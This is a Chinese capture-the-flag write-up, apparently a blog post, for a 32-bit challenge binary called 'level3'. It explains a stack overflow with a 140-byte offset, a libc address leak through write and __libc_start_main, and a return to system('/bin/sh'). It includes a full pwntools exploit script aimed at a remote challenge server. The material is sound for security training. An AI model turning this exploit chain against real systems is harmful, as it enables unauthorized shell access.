level3--writeup

文件下载地址:

链接:https://pan.baidu.com/s/1ByM1Dbt5j7Gw9mNkWryAVA
提取码:pqzc 

目录

0x01.分析

checksec:

查看源码:

 

程序流程:

漏洞利用:

0x02.exp

0x03.说明


0x01.分析

checksec:

32位程序,开启了NX。

查看源码:

 

程序流程:

流程很简单,程序先输入,然后我们输入。

漏洞利用:

  1. 很明显read处栈溢出。
  2. 计算得到栈溢出的偏移量为140。
  3. 寻找system函数或/bin/sh。
  4. 没有找到上述。
  5. 题目提供了一个libc文件,提示也是libc。
  6. 我们想到泄露libc基址的办法。
  7. 泄露一个已经执行过的函数,这里选用__libc_start_main。
  8. 利用存在的函数把这个要泄露的函数的地址打印出来。
  9. 接收地址,并使用LibcSearcher工具查询libc版本。(也可以用一个网站,应该题目提供的libc文件有用,但我没有用到)。
  10. 计算出libc的基址,并求得sytem和/bin/sh得地址。
  11. 控制程序返回到main函数,再进行一次栈溢出,执行system函数,得到shell。

0x02.exp

##!/usr/bin/env python
from pwn import*
from LibcSearcher import LibcSearcher

r=remote("111.198.29.45",36406)
#r=process('./level3')
elf=ELF('./level3')

write_plt=elf.plt['write']
libc_start_main_got=elf.got['__libc_start_main']
main=elf.symbols['_start']

payload=flat([140*'A',write_plt,main,1,libc_start_main_got,4])
r.sendlineafter("Input:\n",payload)

libc_start_main_adr=u32(r.recv()[0:4])

libc=LibcSearcher('__libc_start_main',libc_start_main_adr)
libcbase=libc_start_main_adr-libc.dump('__libc_start_main')

system_adr=libcbase+libc.dump('system')
bin_sh_adr=libcbase+libc.dump('str_bin_sh')

payload=flat([140*'A',system_adr,0,bin_sh_adr])
r.sendline(payload)
r.interactive()

0x03.说明

题目提供了libc文件,但我暂时不知道怎么使用,应该是用于查询libc版本的。

 用LibcSearcher会有多种可能,并且本地测试,和服务器测试都不一样的。

由于种数比较少,我就直接一个个试,最后得到正确的libc版本,获取shell。

 

  • 21
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

ATFWUS

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值